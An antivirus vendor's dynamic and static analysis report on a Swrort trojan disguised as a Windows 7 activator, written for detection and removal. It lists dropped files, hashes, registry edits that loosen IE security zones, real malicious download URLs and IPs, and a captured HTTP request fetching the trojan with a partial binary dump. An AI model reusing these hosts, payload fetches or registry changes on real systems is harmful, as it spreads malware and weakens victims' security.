Trojan.Win32.Swrort.3_87524e10e6 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

net1.exe:536
net.exe:608

The Trojan injects its code into the following process(es):

Windows 7 Activator__12215_il117959.exe:2732
%original file name%.exe:1360

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process Windows 7 Activator__12215_il117959.exe:2732 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\skip[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Windows 7 Activator__12215_il117959.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\decline[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\accept[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\index[1].htm (8385 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\amipb[1].js (27592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\cancel1[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\next[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\cancel[1].gif (1262 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\footer_img[1].png (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\main[1].css (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
%Documents and Settings%\%current user%\Desktop\Continue installation .lnk (943 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\dm_left_image[1].png (3933 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\finish[1].gif (2 bytes)

The process %original file name%.exe:1360 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe (9082 bytes)
%Program Files%\Windows 7 Activator\Setup.exe (1141 bytes)
%Program Files%\Windows 7 Activator\setup32.exe (11057 bytes)
%Program Files%\Windows 7 Activator\uninstall.ini (719 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\genteert.dll (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\4default - 1.bmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\guig.dll (20 bytes)
%Program Files%\Windows 7 Activator\screenshot(2).jpg (1801 bytes)
%Program Files%\Windows 7 Activator\InstallerLinks.zip (3785 bytes)
%Program Files%\Windows 7 Activator\windows_7_activator.exe (3923 bytes)
%Program Files%\Windows 7 Activator\install.bat (540 bytes)
%Program Files%\Windows 7 Activator\uninstall.exe (106 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\setup_temp.gea (17 bytes)

Registry activity

The process Windows 7 Activator__12215_il117959.exe:2732 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCR\Interface\{08932096-1D0A-426F-95EF-6F17A5CF777B}\TypeLib]
"(Default)" = "{C876A846-FC9B-48CE-B1ED-9B7F895C6C3D}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCR\Interface\{08932096-1D0A-426F-95EF-6F17A5CF777B}]
"(Default)" = "IBoot"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\TypeLib\{C876A846-FC9B-48CE-B1ED-9B7F895C6C3D}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Windows 7 Activator"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Windows 7 Activator__12215_il117959\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\VersionIndependentProgID]
"(Default)" = "enflame.tass"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCR\TypeLib\{C876A846-FC9B-48CE-B1ED-9B7F895C6C3D}\1.0\FLAGS]
"(Default)" = "0"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\ProgID]
"(Default)" = "enflame.tass.1"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\LocalServer32]
"ServerExecutable" = "%Program Files%\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCR\TypeLib\{C876A846-FC9B-48CE-B1ED-9B7F895C6C3D}\1.0\0\win32]
"(Default)" = "%Program Files%\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Windows 7 Activator__12215_il117959.exe"

[HKCR\enflame.tass.1]
"(Default)" = "Inst Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\Interface\{08932096-1D0A-426F-95EF-6F17A5CF777B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCR\enflame.tass]
"(Default)" = "Inst Class"

[HKCR\Interface\{08932096-1D0A-426F-95EF-6F17A5CF777B}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCR\Interface\{08932096-1D0A-426F-95EF-6F17A5CF777B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6B E9 0E 1B 9E E2 1F 37 56 8B 1B CC 76 AA 33 37"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1459162901"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\TypeLib]
"(Default)" = "{c876a846-fc9b-48ce-b1ed-9b7f895c6c3d}"

[HKCR\TypeLib\{C876A846-FC9B-48CE-B1ED-9B7F895C6C3D}\1.0]
"(Default)" = "InstallerLib"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCR\enflame.tass\CurVer]
"(Default)" = "enflame.tass.1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCR\enflame.tass.1\CLSID]
"(Default)" = "{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\LocalServer32]
"(Default)" = "%Program Files%\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}]
"(Default)" = "Inst Class"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKCR\CLSID\{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\Windows 7 Activator__12215_il117959\DEBUG]
"Trace Level"

The process net1.exe:536 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 69 41 29 E8 8D FC 4C 64 C7 09 54 00 B5 93 9A"

The process net.exe:608 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 4D 99 17 77 54 3D 98 E8 88 FB 0B 93 3C EC D4"

The process %original file name%.exe:1360 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"My Video" = ""
"Fonts" = "%WinDir%\Fonts"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E A8 5D EA 2E B8 7B 6D 6B B2 DB F9 94 4B 75 F9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

Dropped PE files

MD5	File path
f46ec0e93bf9a51bb0b6d385bfd40e2a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Windows 7 Activator__12215_il117959.exe
ddd4a31094764a9deb6a82c8658fd9c5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\gentee8B\guig.dll
6ce814fd1ad7ae07a9e462c26b3a0f69	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\genteert.dll
71e6dd8a9de4a9baf89fca951768059a	c:\Program Files\Windows 7 Activator\Setup.exe
f46ec0e93bf9a51bb0b6d385bfd40e2a	c:\Program Files\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe
af945dcfd02686867429eae84c522bb0	c:\Program Files\Windows 7 Activator\setup32.exe
d7724749b2d467b83c5d8573e075c657	c:\Program Files\Windows 7 Activator\uninstall.exe
880ab86b06b2fa9a2e560a3e4576f5ab	c:\Program Files\Windows 7 Activator\windows_7_activator.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
net1.exe:536
net.exe:608
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\skip[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Windows 7 Activator__12215_il117959.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\decline[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\accept[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\index[1].htm (8385 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\amipb[1].js (27592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\cancel1[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DY5OF4CT\next[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\cancel[1].gif (1262 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\footer_img[1].png (937 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\JE3C19YJ\main[1].css (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
%Documents and Settings%\%current user%\Desktop\Continue installation .lnk (943 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\dm_left_image[1].png (3933 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\F6NOEB06\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89GWPBX2\finish[1].gif (2 bytes)
%Program Files%\Windows 7 Activator\Windows 7 Activator__12215_il117959.exe (9082 bytes)
%Program Files%\Windows 7 Activator\Setup.exe (1141 bytes)
%Program Files%\Windows 7 Activator\setup32.exe (11057 bytes)
%Program Files%\Windows 7 Activator\uninstall.ini (719 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\genteert.dll (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\4default - 1.bmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\guig.dll (20 bytes)
%Program Files%\Windows 7 Activator\screenshot(2).jpg (1801 bytes)
%Program Files%\Windows 7 Activator\InstallerLinks.zip (3785 bytes)
%Program Files%\Windows 7 Activator\windows_7_activator.exe (3923 bytes)
%Program Files%\Windows 7 Activator\install.bat (540 bytes)
%Program Files%\Windows 7 Activator\uninstall.exe (106 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gentee8B\setup_temp.gea (17 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	3756	4096	4.11868	9ce5929599c65c95975bf6e171805391
.rdata	8192	1160	4096	1.20504	41a0877cce47e2d0ea10b7346786bfe2
.data	12288	1376	4096	0.700454	d4a8a270215b2fec747caabfd58d8f7b
.gentee	16384	64375	65536	5.52339	c461289c5dbafcaaffde55261966abd0
.rsrc	81920	37148	40960	5.04323	d548e696f41c9742d3c095728d141354

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://146.185.142.87/PPI/Windows 7 Activator__12215_il117959.exe
hxxp://146.185.142.87/PPI/windows_7_activator.exe
hxxp://146.185.142.87/Setup.exe
hxxp://146.185.142.87/setup32.exe
hxxp://dyno3mlj15jgv.cloudfront.net/V35/amipb.js
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif
hxxp://d3a3s75zr23wnc.cloudfront.net/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/Html/ae700b56-ce32-47fe-970f-652f4f1c7837/%appimageurl%
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png	54.192.95.24
hxxp://www.secularistsarakolet.site/finalize.php	107.22.169.66
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif	54.192.95.24
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png	54.192.95.24
hxxp://www.secularistsarakolet.site/Html/ae700b56-ce32-47fe-970f-652f4f1c7837/%appimageurl%	107.22.169.66
hxxp://cdn1.nonstopdownload.com/V35/amipb.js	54.192.95.216
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif	54.192.95.24
hxxp://www.secularistsarakolet.site/index.php	107.22.169.66
hxxp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif	54.192.95.24

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /PPI/Windows 7 Activator__12215_il117959.exe HTTP/1.0

User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

Accept: */*

Host: 146.185.142.87

HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Mon, 04 Apr 2016 11:43:21 GMT

Content-Type: application/octet-stream

Content-Length: 713216

Last-Modified: Wed, 30 Mar 2016 09:47:12 GMT

Connection: close

ETag: "56fba0a0-ae200"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......keKK/.%./.%./.%..J..,.%.4...5.%.&|....%.4.....%.@r.. .%.4...e.%./.%...%.&|..$.%.&|..:.%./.$.$.%.4...3.%.4.....%.4.....%.Rich/.%.........................PE..L......V.................Z..........{........p....@..........................0............@.................................\...........XD.......................Y...................................z..@............p..T............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...d[... ...4..................@....rsrc...XD.......F...>..............@..@.reloc...\.......^..................@..B......................................................................................................................................................................................................................................................................................................... ..........3.9.....V........D$.....^...j .<GF......3.9.tRj.hL.F..M..E......]..].......]..}...E.s..E.SSS.6Phh.F......YY...6...tF.Sj..M............3..H..H....3..`eH..\eH..XeH..TeH..deH..TeH..3.9..8H.t..=.8H....8H.s...8H..j...LF..f....}.j.....F.X3.3..G.._.f.O..]..G83.._4f.G$.u..w@.E...&....Gp....._l3.f.G\........F............................................................................................_x._|................V........D$..t.V..6..Y..^...j..iLF..|...j...fH.X3.3..}....fH...F...fH....fH.f...

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

